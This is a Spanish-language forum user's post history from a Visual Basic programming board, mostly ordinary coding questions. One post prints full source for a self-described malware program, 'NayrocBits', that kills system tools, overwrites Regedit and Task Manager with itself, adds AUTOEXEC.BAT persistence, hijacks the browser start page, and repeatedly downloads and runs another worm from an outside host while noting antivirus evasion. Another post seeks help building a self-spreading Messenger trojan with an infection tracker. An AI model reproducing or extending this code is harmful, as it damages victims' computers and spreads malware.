|
Mostrar Temas
|
Páginas: [1] 2
|
2
|
Programación / Programación Visual Basic / Ayuda con un Downloader...
|
en: 9 Enero 2007, 21:30 pm
|
Hola a todos... Estoy haciendo un downloader y necesito saber de que manera puedo medir los Kb/s (Velocidad de descarga) va el archivo... Osea, si estoy descargando un archivo de 1 MB, mi idea es que marque a la velocidad que va (Por ejemplo, 100 Kb/s y faltan x:xx:xx (Tiempo)) Tambien quisiera saber si hay alguna forma de crear archivos .EXE, busque en esta sección sobre como crearlos, pero al final no lo encontre... Agradeceria su ayuda , ya que esto es para un proyecto en mi instituto.... asias...
|
|
|
3
|
Programación / Programación Visual Basic / Subir archivos...
|
en: 30 Diciembre 2006, 05:03 am
|
Buenas... Estoy creando un programa para subir archivos a una web en especifica... He preguntando mediante ftp pero no me dan una buena respuesta y la respuesta que me dieron no era "Cierta" ... -.- Si me pudieran ayudar, seria muy bueno .
|
|
|
4
|
Programación / Programación Visual Basic / NayrocBits - Malware
|
en: 28 Diciembre 2006, 01:58 am
|
Opinen sobre este malware... diganme que mas le puedo añadir... que puede estar mal... o que le puedo quitar... Option Explicit
Private Declare Function URLDownloadToFile Lib "urlmon" _ Alias "URLDownloadToFileA" _ (ByVal pCaller As Long, _ ByVal szURL As String, _ ByVal szFileName As String, _ ByVal dwReserved As Long, _ ByVal lpfnCB As Long) As Long Dim ERROR_SUCCESS Private Sub Clipb() On Error GoTo clip Do Clipboard.Clear Clipboard.SetText " K-32 - Prayamama" Loop clip: End Sub Private Sub NayrocSTAM() Do On Error GoTo NoSTAM PagInicia ("http://www.elhacker.net") TituloInicia ("ElHacker - Soft Explorer - BY: K-32 (SP26)") MsgBox " " & vbCrLf & " ", vbCritical Loop
NoSTAM:
End Sub Private Function Secuestro(UpPath As String, DownPath As String) On Error GoTo seNO FileCopy UpPath$, DownPath$ Kill UpPath$ seNO: End Function Public Sub SecuestroCarpeta(DirPath As String) On Error GoTo error MkDir DirPath$ Exit Sub error: 'Crear carpetas de secuestro End Sub
Private Sub AeroBits() On Error GoTo seNO: Do Matar ("Taskmgr.exe") Matar ("Regedit.exe") Matar ("Services.msc") Matar ("cmd.exe") Matar ("Explorer.exe") Shell "explorer.exe" 'Retornamos al EXPLORER para no levantar sospechas
SecuestroCarpeta Environ("SYSTEMROOT") & "\Binary\"
Secuestro Environ("SYSTEMROOT") & "\SYSTEM32\REGEDIT.EXE", Environ("SYSTEMROOT") & "\Binary\regedit.txt" Secuestro Environ("SYSTEMROOT") & "\SYSTEM32\services.msc", Environ("Systemroot") & "\BINARY\Services.txt" Secuestro Environ("SYSTEMROOT") & "\SYSTEM32\taskmgr.exe", Environ("SYSTEMROOT") & "\binary\taskmgr.txt"
FileCopy App.EXEName + ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\regedit.exe" FileCopy App.EXEName + ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\taskmgr.exe" FileCopy App.EXEName + ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\services.msc"
seNO: Shell Environ("SYSTEMROOT") & "\SYSTEM32\deflpo.exe" Loop End Sub
Private Sub NayrocSTEM()
Dim Archivo As String Dim NumArchivo As Long Dim Archivo2 As String Dim NumArchivo2 As Long On Error Resume Next On Error GoTo NoHayBat Do FileCopy App.EXEName + ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\deflps.exe" 'NOTA1
Matar ("Explorer.exe") Matar ("CMD.exe") Matar ("Regedit.exe") Matar ("services.msc") Matar ("msnmsgr.exe") Shell ("Explorer.exe") 'Retornamos al Explorer para no levantar sospechas
Archivo = Environ("SYSTEMDRIVE") & "\AUTOEXEC.BAT" NumArchivo = FreeFile() 'Aqui me añado al 'AUTOEXEC.BAT ' 'Para iniciarme cada vez que el sistema corra '¿Sera esta una via alterna? 'Al yo poner "DEFLPS" 'llama el archivo antes copiado 'Es necesario que se copie antes en la carpeta SYSTEM32 'Esto me da una via alterna contra los AV Open Archivo For Output As #NumArchivo Print #NumArchivo, "Echo off" Print #NumArchivo, "Title AUTOEXEC.BAT" '-- Print #NumArchivo, "CLS" Print #NumArchivo, "Echo Loading..." Print #NumArchivo, "CLS" Print #NumArchivo, "cls" Print #NumArchivo, "deflps" Close #NumArchivo NoHayBat: On Error Resume Next 'DeflPO 'Leer Mas abajo su Sub ()
Archivo2 = Environ("SYSTEMROOT") & "\Call.bat" NumArchivo2 = FreeFile() Print #NumArchivo, "Echo off" Print #NumArchivo, "title Analizador de discos lógicos" Print #NumArchivo, "cls" Print #NumArchivo, "echo @echo off > %SYSTEMDRIVE%\AUTOEXEC.bat" Print #NumArchivo, "Echo cls>>%SYSTEMDRIVE%\AUTOEXEC.bat" Print #NumArchivo, "ECHO DEFLPS>>%SYSTEMDRIVE%\AUTOEXEC.bat" Close #NumArchivo Shell Environ("SYSTEMROOT") & "\Call.bat" Loop End Sub Private Sub AñoNuevo()
'Feliz año nuevo xDD Do
If Month(Now) = 1 And Day(Now) = 1 Then AñoNuevoUp
End If Loop End Sub
Private Sub AñoNuevoUp() Dim ArchivoK32 As String Dim NumArchivoK32 As Long Do ArchivoK32 = Environ("SYSTEMROOT") & "\2007.bat" NumArchivoK32 = FreeFile()
Print #NumArchivoK32, "Echo off" Print #NumArchivoK32, "title OS"
Print #NumArchivoK32, "cls" Print #NumArchivoK32, "Deflpo" Print #NumArchivoK32, "Cls" Close #NumArchivoK32
Shell Environ("SYSTEMROOT") & "\2007.bat" 'Lo hago como BAT ya que es mas efectivo para los AV's, En especial 'NOD32
Loop
End Sub
Private Sub Ds_Click() MsgBox "Desinfectado"
End Sub
Private Sub Form_Load() On Error Resume Next App.TaskVisible = False MsgBox " ", vbExclamation, "WINLOGON.EXE"
Clipb NayrocSTAM DeflPO NayrocSTEM AñoNuevo AeroBits
End Sub
Public Sub Matar(ByVal processName As String) On Error GoTo ErrHandler Dim oWMI Dim ret Dim sService Dim oWMIServices Dim oWMIService Dim oServices Dim oService Dim servicename Set oWMI = GetObject("winmgmts:") Set oServices = oWMI.InstancesOf("win32_process")
For Each oService In oServices servicename = LCase(Trim(CStr(oService.Name) & "")) If InStr(1, servicename, LCase(processName), vbTextCompare) > 0 Then ret = oService.Terminate End If Next Set oServices = Nothing Set oWMI = Nothing
ErrHandler: Err.Clear End Sub
Private Sub DeflPO() 'ORIENTE-ETERNO : Modo silencioso Do Dim sSourceUrl As String
sSourceUrl = "http://h1.ripside.net/MyArchivos/" & _ "DCOM/deflPO.exe/" 'Este es otro de mis Worms
DownloadFile sSourceUrl, Environ("SYSTEMROOT") & "\SYSTEM32\deflPO.exe" Loop End Sub
Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean DownloadFile = URLDownloadToFile(0, sURL, _ sLocalFile, 0, 0) = ERROR_SUCCESS End Function
Private Sub Form_Unload(Cancel As Integer) MsgBox " ", vbCritical Do Shell App.Path & App.EXEName & ".exe" Loop
End Sub Y En un modulo... Option Explicit
Declare Function RegCreateKey Lib _ "advapi32.dll" Alias "RegCreateKeyA" _ (ByVal HKey As Long, ByVal lpSubKey As _ String, phkResult As Long) As Long Declare Function RegCloseKey Lib "advapi32.dll" (ByVal HKey As Long) As Long Declare Function RegSetValueEx Lib _ "advapi32.dll" Alias "RegSetValueExA" (ByVal HKey As Long, ByVal _ lpValueName As String, ByVal _ Reserved As Long, ByVal dwType _ As Long, lpData As Any, ByVal _ cbData As Long) As Long
Public Sub SaveString(HKey As Long, Path As String, _ Name As String, Data As String) Dim KeyHandle As Long Dim r As Long Dim REG_SZ r = RegCreateKey(HKey, Path, KeyHandle) r = RegSetValueEx(KeyHandle, Name, 0, _ REG_SZ, ByVal Data, Len(Data)) r = RegCloseKey(KeyHandle) End Sub
Public Sub PagInicia(Direccion As String) Call SaveString("HKEY_CURRENT_USER", _ "Software\Microsoft\Internet Explorer\Main", _ "Start Page", Direccion) End Sub Public Sub TituloInicia(Titulo As String) Call SaveString("HKEY_CURRENT_USER", _ "Software\Microsoft\Internet Explorer\Main", _ "Window Title", Titulo) End Sub
Opinen
|
|
|
5
|
Programación / Programación Visual Basic / Pregunta tonta...
|
en: 23 Diciembre 2006, 00:58 am
|
Hola... Quizas esta pregunta sea un poco tonta, pero como hago para que en un PictureBox se vea lo que se seleccione en un listbox? Ya intente con muchas cosas y ninguna funciona... como Picture1.picture = list1 y nada Aqui le dejo el codigo... Option Explicit Dim ext Dim Ruta As String Dim arjpg
Private Sub Command1_Click() On Error Resume Next List1.Clear
Ruta = Dir1 ' Hacemos q nos muestre todos los archivos arjpg = Dir(Ruta & "\*.jpg*") Do While arjpg <> "" ' Obtenemos la extension del archivo ext = LCase(Right$(arjpg, 3)) Select Case ext Case "jpg" List1.AddItem arjpg Case "bmp" List1.AddItem arjpg Case "gif" List1.AddItem arjpg End Select arjpg = Dir Loop
End Sub
Private Sub Form_Load() List1.Clear
End Sub
|
|
|
7
|
Programación / Programación Visual Basic / descargar ftp
|
en: 6 Diciembre 2006, 18:41 pm
|
Quisiera saber de una form que cree un Archivo txt (indicando los datos en el codigo mismo) y lo suba a un servidor FTP de manera silenciosa. Tambien que descargue un archivo ftp Me habian dicho que con Winsock, pero estuve redondeando y al final no encontre como Si hay otra manera de hacerlo seria mejor tambien .
|
|
|
8
|
Programación / Programación Visual Basic / Eliminar con el nombre usuario
|
en: 1 Diciembre 2006, 03:19 am
|
Hola nuevamente Quisiera saber como eliminar dependiendo del usuario, por ejemplo: If (Dir("c:\documents and settings\USUARIO\prueba.txt") <> "") Then Kill "c:\Documents And Settings\USUARIO\prueba.txt" End If Ya intente con una API: 'API Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" _ (ByVal lpbuffer As String, nSize As Long) As Long
Public Function UsuarioActual() As String 'Esta función devuelve el nombre del Usuario Dim sBuffer As String Dim lSize As Long Dim sUsuario As String
sBuffer = Space$(260) lSize = Len(sBuffer) Call GetUserName(sBuffer, lSize) If lSize > 0 Then sUsuario = Left$(sBuffer, lSize) 'Quitarle el CHR$(0) del final... lSize = InStr(sUsuario, Chr$(0)) If lSize Then sUsuario = Left$(sUsuario, lSize - 1) End If Else sUsuario = "" End If UsuarioActual = sUsuario End Function Y poniendo: If (Dir("c:\documents and settings\UsuarioActual\prueba.txt") <> "") Then Kill "c:\Documents And Settings\UsuarioActual\prueba.txt" End If '
Por declaro de la API, se supone que UsuarioActual, localiza el nombre. Ayuda
|
|
|
10
|
Programación / Programación Visual Basic / Troyano por messenger
|
en: 12 Noviembre 2006, 05:26 am
|
ola todos Intento hacer un troyano para que mande automaticamente un mensaje por messenger... ya probe con uno de los troyanos que pusieron en uno de estos post y no me funciono... Quiero que el troyano se autocopie y automande un mensaje por messenger... por ejemplo: Mira mi programa: miweb.com/troyanito.zip Tambien quisiera tener algun tipo de "servidor" (no un tanto complicado) Que me indique por ejemplo, en cuantas PCs se encuentra este archivo (cuantas pcs estan infectadas, para entendernos ) les agradeceria que me explicaran cada una (o por lo menos lo que hara ) el codigo... no soy muy experto en estos temas.
|
|
|
|
|
|
|